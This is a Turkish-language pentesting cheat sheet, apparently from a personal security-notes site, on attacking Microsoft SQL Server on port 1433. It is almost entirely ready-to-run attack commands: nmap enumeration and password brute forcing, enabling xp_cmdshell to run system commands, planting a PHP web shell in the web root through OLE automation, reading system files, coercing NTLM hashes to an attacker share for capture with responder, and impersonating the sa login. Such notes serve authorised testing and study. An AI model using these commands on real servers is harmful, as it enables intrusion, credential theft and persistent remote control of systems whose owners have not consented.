> For the complete documentation index, see [llms.txt](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://yigitsengezer.gitbook.io/siber-guvenlik-notlari/network-service-pentesting/mssql-2313.md).

# MSSQL - 1433

### Tarama

```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 192.168.1.3
```

### Bağlantı

```bash
# GUI
navicat

# Manuel
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
```

### Basit Bilgiler

MSSQL sunucusu üzerinde genel bilgileri almak için kullanılır.

```python
nmap --script ms-sql-info -p 1433 192.168.1.3
```

MSSQL sunucusu hakkında NTLM bilgilerini elde etmek için kullanılır.

```python
nmap -p 1433 --script ms-sql-ntlm-info --script-args mssql.instance-port=1433 192.168.1.3
```

### Brute Force

MSSQL sunucusuna şifre kırma saldırısı yapmak için kullanılır. Belirtilen kullanıcı adı ve şifre listelerini kullanarak deneme yapar.

```python
nmap -p 1433 --script ms-sql-brute --script-args userdb=/root/Desktop/wordlist/common_users.txt,passdb=/root/Desktop/wordlist/100-common-passwords.txt 192.168.1.3
```

MSSQL sunucusunda boş şifreleri kontrol etmek için kullanılır.

```python
nmap -p 1433 --script ms-sql-empty-password 192.168.1.3
```

### Komut Çalıştırma

```bash
impacket-mssqlclient Administrator:Pass123@192.168.50.18 -windows-auth

EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;

EXECUTE xp_cmdshell 'whoami';
```

### Create File

```
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'Ole Automation Procedures', 1;
RECONFIGURE;

DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
GO
```

### Read File

```
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
GO
```

### NTLM Dump

```bash
EXEC master..xp_subdirs '\\192.168.1.2\share\'
exec master.dbo.xp_dirtree '\\192.168.1.2\shares\deneme'
EXEC master..xp_fileexist '\\192.168.1.2\shares\deneme'

responder -I tun0
```

### Imporsanate

```sql
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
GO

EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
GO
```